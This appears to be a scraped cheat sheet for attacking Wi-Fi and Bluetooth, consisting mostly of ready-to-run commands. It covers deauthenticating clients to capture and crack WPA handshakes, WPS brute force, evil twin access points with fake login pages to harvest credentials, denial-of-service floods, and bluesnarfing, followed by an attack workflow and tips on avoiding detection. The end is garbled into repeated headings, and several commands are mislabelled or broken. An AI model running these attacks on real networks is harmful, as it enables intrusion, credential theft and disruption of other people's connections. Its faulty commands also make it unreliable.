Enable monitor mode

airmon-ng start wlan0

Creates wlan0mon

Or manually

ip link set wlan0 down iw wlan0 set monitor none ip link set wlan0 up

Disable interfering processes

airmon-ng check kill


**Essential Tools:**
- aircrack-ng suite
- Wireshark
- Kismet
- Reaver/Bully (WPS)
- Wifite (automated)
- hcxtools/hcxdumptool
- Fluxion (Evil Twin)

## WiFi Reconnaissance

**Network Discovery:**
```bash
# Scan for networks
airodump-ng wlan0mon

# Scan specific channel
airodump-ng -c 6 wlan0mon

# Scan and save to file
airodump-ng -w capture wlan0mon

# Filter by BSSID
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon

Kismet:

# Start Kismet
kismet

# Command line
kismet_server
kismet_client

# View in web UI
http://localhost:2501

WPA/WPA2 Attacks

Capture Handshake

# Method 1: Wait for client connection
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Method 2: Deauth clients to force reconnect
# In another terminal
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Or target specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# Verify handshake captured
aircrack-ng capture-01.cap
# Look for "1 handshake"

Crack Handshake

Aircrack-ng:

# Crack with wordlist
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# With specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap

Hashcat:

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Crack WPA/WPA2 (mode 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt

# With rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# Mask attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

John the Ripper:

# Convert cap to john format
hccap2john capture-01.cap > hash.john

# Crack
john --wordlist=wordlist.txt hash.john

WPS Attacks

WPS Brute Force (Reaver)

# Check WPS status
wash -i wlan0mon

# Reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delay (less aggressive)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5

# Pixie Dust attack (if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K

Bully (Alternative)

# Standard attack
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Pixie Dust
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d

Evil Twin Attacks

Fluxion

# Start Fluxion
./fluxion.sh

# Follow prompts to:
# 1. Select target network
# 2. Capture handshake
# 3. Create fake AP
# 4. Launch captive portal
# 5. Capture credentials

Manual Evil Twin

# Create rogue AP
hostapd rogue_ap.conf

# Sample hostapd.conf:
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# DHCP server
dnsmasq -C dnsmasq.conf

# Sample dnsmasq.conf:
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8

# Captive portal (fake login page)
# Setup web server with phishing page

WPA3 Attacks

Dragonblood

# Dragonblood toolkit
# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)

# Dictionary attack (downgrade to WPA2)
# If SAE (WPA3) and WPA2 transition mode enabled

Brute Force SAE

# hashcat WPA3 (experimental)
hashcat -m 22000 hash.hc22000 wordlist.txt

Denial of Service

Deauthentication Attack

# Deauth all clients
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# MDK3 (more aggressive)
mdk3 wlan0mon d -c 6

Beacon Flooding

# MDK3 beacon flood
mdk3 wlan0mon b -f fake_aps.txt

# Create many fake APs
mdk3 wlan0mon b -n "FakeAP" -m -s 1000

Automated Tools

Wifite

# Automated WiFi cracking
wifite

# Target WPA only
wifite --wpa

# Target WPS only
wifite --wps

# Specific BSSID
wifite -b AA:BB:CC:DD:EE:FF

# With custom wordlist
wifite --dict wordlist.txt

WiFi-Pumpkin (Rogue AP Framework)

# Launch WiFi-Pumpkin
wifi-pumpkin

# Features:
# - Rogue AP creation
# - MITM attacks
# - DNS spoofing
# - Captive portal
# - Traffic sniffing

Enterprise WiFi (WPA-Enterprise)

EAP-TLS/PEAP Attacks

# Capture EAP handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Extract RADIUS traffic
tshark -r eap_capture-01.cap -Y "eap"

# Rogue RADIUS server
# hostapd-wpe (Wireless Pwnage Edition)
hostapd-wpe wpe.conf

# Crack captured hashes
asleap -r capture.dump -w wordlist.txt

Packet Injection Testing

# Test injection capability
aireplay-ng --test wlan0mon

# Fake authentication
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

# ARP replay attack
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

Hidden SSID Discovery

# Passive monitoring
airodump-ng wlan0mon
# Wait for client probe requests

# Active probing
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF

# Deauth and capture beacon
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

Bluetooth Attacks

Discovery

# Scan for devices
hcitool scan

# Detailed info
hcitool info AA:BB:CC:DD:EE:FF

# Service discovery
sdptool browse AA:BB:CC:DD:EE:FF

BluetoothHunting

# Bluesnarfing (file access)
bluesnarfer -b AA:BB:CC:DD:EE:FF

# Bluejacking (send messages)
echo "Message" | bluejack AA:BB:CC:DD:EE:FF

# PIN brute force
crackle -i hci0 -o pin.txt

Quick WiFi Pentest Workflow

Monitor Mode - Enable monitor mode on wireless adapter
Reconnaissance - Scan for networks (airodump-ng/kismet)
Target Selection - Choose network (WPS-enabled for easy win)
Handshake Capture - Deauth clients and capture 4-way handshake
Cracking - Crack with hashcat/aircrack-ng
Post-Exploitation - Connect and perform MITM/sniffing

Common Wins

WPS-enabled routers - Often crackable in minutes with Reaver
Weak passwords - Common WiFi passwords in rockyou.txt
WPA2 Transition Mode - Allows downgrade attacks
Open guest networks - No authentication required
Misconfigured Enterprise - Weak RADIUS authentication

Defense Detection

Wireless IDS (WIDS) may detect:
- Deauthentication attacks
- Rogue access points
- Evil Twin attacks
- WPS brute force attempts
Be aware of monitoring and physical security

Enable monitor mode

Creates wlan0mon

Or manually

Disable interfering processes

WPA/WPA2 Attacks

Capture Handshake

Crack Handshake

WPS Attacks

WPS Brute Force (Reaver)

Bully (Alternative)

Evil Twin Attacks

Fluxion

Manual Evil Twin

WPA3 Attacks

Dragonblood

Brute Force SAE

Denial of Service

Deauthentication Attack

Beacon Flooding

Automated Tools

Wifite

WiFi-Pumpkin (Rogue AP Framework)

Enterprise WiFi (WPA-Enterprise)

EAP-TLS/PEAP Attacks

Packet Injection Testing

Hidden SSID Discovery

Bluetooth Attacks

Discovery

BluetoothHunting

Quick WiFi Pentest Workflow

Common Wins

Defense Detection

References

attacking-wireless-networks

Attacking Wireless Networks

When to Use

Setup and Tools